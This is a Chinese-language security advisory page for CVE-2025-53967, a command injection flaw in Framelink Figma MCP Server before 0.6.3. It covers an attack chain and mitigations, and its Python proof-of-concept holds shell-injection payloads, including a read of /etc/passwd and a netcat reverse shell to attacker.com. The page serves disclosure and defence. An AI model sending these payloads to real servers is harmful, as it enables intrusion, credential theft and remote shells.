IPBUF安全漏洞报告
English
CVE-2025-53967 CVSS 8.0 高危

CVE-2025-53967:Framelink Figma MCP Server 远程命令执行漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-53967
漏洞类型
远程代码执行(RCE)/ 命令注入
CVSS评分
8.0 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Framelink Figma MCP Server (Figma-Context-MCP)

相关标签

远程代码执行RCE命令注入Command InjectionFramelink Figma MCP ServerFigma-Context-MCPMCP ServerModel Context Protocol高危漏洞CVSS 8.0

漏洞概述

CVE-2025-53967 是 Framelink Figma MCP Server(项目名为 Figma-Context-MCP)0.6.3 之前版本中存在的一个高危远程命令执行(Remote Code Execution, RCE)漏洞。该漏洞源于服务器在处理 HTTP POST 请求时,未对用户输入进行充分的过滤与转义,导致攻击者可以通过精心构造的请求参数注入操作系统级别的 Shell 元字符(如分号、管道符、反引号等)。这些恶意输入最终被传递给底层的 fetchWithRetry 函数中的 curl 命令执行,从而允许未经认证的攻击者在远程服务器上执行任意操作系统命令。

该漏洞的 CVSS 3.1 基础评分为 8.0 分,属于高危级别。其攻击向量为邻接网络(AV:A),意味着攻击者需要与目标服务器处于同一局域网或可访问的网络段中。该漏洞无需任何认证(PR:N)和用户交互(UI:N),一旦被利用,将导致高机密性影响(C:H)和高完整性影响(I:H),但不影响可用性(A:N)。由于该服务器通常用于桥接 AI 助手(如 Claude Desktop)与 Figma 设计工具之间的通信,其部署环境往往包含敏感的设计资源和访问令牌,因此漏洞的危害程度被进一步放大。

该漏洞由安全研究人员在审查 MCP(Model Context Protocol)服务器生态时发现,并已通过官方 GitHub 仓库发布修复版本 v0.6.3。Imperva 安全团队也对此漏洞进行了详细分析,强调了 MCP 服务器作为新兴 AI 基础设施所面临的安全挑战。

技术细节

该漏洞的核心位于 Framelink Figma MCP Server 的 src/utils/fetch-with-retry.ts 文件中(第34行附近)的 fetchWithRetry 函数。该函数用于通过 curl 命令从 Figma API 获取资源,其实现方式存在严重的命令注入缺陷。

具体而言,当 MCP 服务器接收到 HTTP POST 请求时,请求中的某些参数(如 URL 或文件路径)被直接拼接到 curl 命令字符串中,而没有使用适当的转义或参数化方式传递给子进程。攻击者可以在这些参数中注入 Shell 元字符(如 `;`、`|`、`&&`、`$(...)` 等),从而实现命令注入。

利用方式如下:
1. 攻击者向 MCP 服务器的特定端点发送一个精心构造的 HTTP POST 请求。
2. 请求体中包含带有 Shell 元字符的恶意输入,这些输入被服务器拼接到 curl 命令中。
3. 当服务器执行 curl 命令时,Shell 解释器会解析这些元字符,执行攻击者注入的任意命令。
4. 注入的命令以 MCP 进程的权限执行,攻击者可以读取敏感文件、建立反向 Shell 或进行其他恶意操作。

由于该漏洞无需认证即可利用,且攻击复杂度较低(在邻接网络中),对部署了该 MCP 服务器的组织构成了严重的安全威胁。修复版本 v0.6.3 通过对用户输入进行严格的验证和 Shell 转义来解决此问题。

攻击链分析

STEP 1
步骤1:侦察与发现
攻击者通过端口扫描或服务发现工具,定位目标网络中部署的 Framelink Figma MCP Server 实例(通常监听在特定端口),确认目标版本低于 0.6.3。
STEP 2
步骤2:构造恶意请求
攻击者分析 MCP 服务器的 API 端点,识别 fetchWithRetry 函数处理的输入参数,并在这些参数中注入 Shell 元字符(如 $(command)、`command`、;command 等)。
STEP 3
步骤3:发送恶意 HTTP POST 请求
攻击者向 MCP 服务器发送精心构造的 HTTP POST 请求,其中包含命令注入载荷。由于无需认证,攻击者可以直接发送请求。
STEP 4
步骤4:触发命令执行
服务器接收到请求后,将用户输入拼接到 curl 命令中执行。Shell 解释器解析注入的元字符,在服务器上以 MCP 进程权限执行攻击者的恶意命令。
STEP 5
步骤5:权限提升与持久化
攻击者通过注入的命令建立反向 Shell、读取敏感文件(如 Figma 访问令牌、配置文件),并可能植入后门以维持对系统的持久访问。
STEP 6
步骤6:横向移动与数据窃取
利用获取的凭据和访问权限,攻击者可能进一步横向移动到其他系统,窃取设计资源、商业机密等敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53967 - Framelink Figma MCP Server RCE PoC # Vulnerability: Command Injection via fetchWithRetry curl command # Affected: Figma-Context-MCP < v0.6.3 import requests # Target MCP server endpoint TARGET_URL = "http://target-mcp-server:3000/fetch" # Malicious payload with shell metacharacters for command injection # The injected command creates a reverse shell or executes arbitrary OS commands PAYLOAD = { "url": "http://example.com/api/$(id > /tmp/pwned.txt)", "retryCount": 3 } # Alternative payloads using different injection techniques PAYLOAD_BACKTICK = { "url": "http://example.com/`whoami > /tmp/pwned.txt`", "retryCount": 3 } PAYLOAD_SEMICOLON = { "url": "http://example.com/; cat /etc/passwd > /tmp/pwned.txt", "retryCount": 3 } PAYLOAD_PIPE = { "url": "http://example.com/ | nc attacker.com 4444 -e /bin/sh", "retryCount": 3 } def exploit(target_url, payload): """ Send crafted HTTP POST request to trigger command injection in fetchWithRetry function's curl command. """ headers = { "Content-Type": "application/json", "Accept": "application/json" } try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Sending command injection payload...") exploit(TARGET_URL, PAYLOAD) print("[*] Check /tmp/pwned.txt on target for command execution evidence") # Vulnerable code reference (fetch-with-retry.ts): # const { stdout } = await execAsync(`curl -s -f "${url}"`); // VULNERABLE - no sanitization # # Fixed in v0.6.3: # const { stdout } = await execAsync(`curl -s -f ${JSON.stringify(url)}`); // FIXED - proper escaping

影响范围

Framelink Figma MCP Server (Figma-Context-MCP) < 0.6.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制 MCP 服务器的网络访问范围,仅允许可信 IP 访问;2)在反向代理或 WAF 层面添加规则,过滤包含 Shell 元字符的请求;3)监控服务器进程的系统调用,及时发现异常的 curl 命令执行;4)将 MCP 服务器进程以最低权限用户运行,限制命令注入后的影响范围;5)临时禁用 fetchWithRetry 相关功能或端点,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表